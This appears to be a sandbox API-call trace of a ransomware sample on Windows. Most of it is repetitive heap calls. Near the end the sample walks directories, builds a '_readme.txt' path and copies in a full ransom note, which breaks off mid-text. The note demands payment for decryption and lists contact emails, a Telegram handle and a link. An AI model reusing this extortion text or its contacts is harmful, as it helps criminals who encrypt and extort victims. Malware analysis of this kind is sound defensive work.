[0266.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.438] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.438] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0266.438] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.438] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.438] PathFindFileNameW (pszPath="") returned="" [0266.438] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.438] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.438] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.439] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.439] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cb0 | out: hHeap=0x640000) returned 1 [0266.439] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.439] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.439] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0266.439] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0266.439] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will 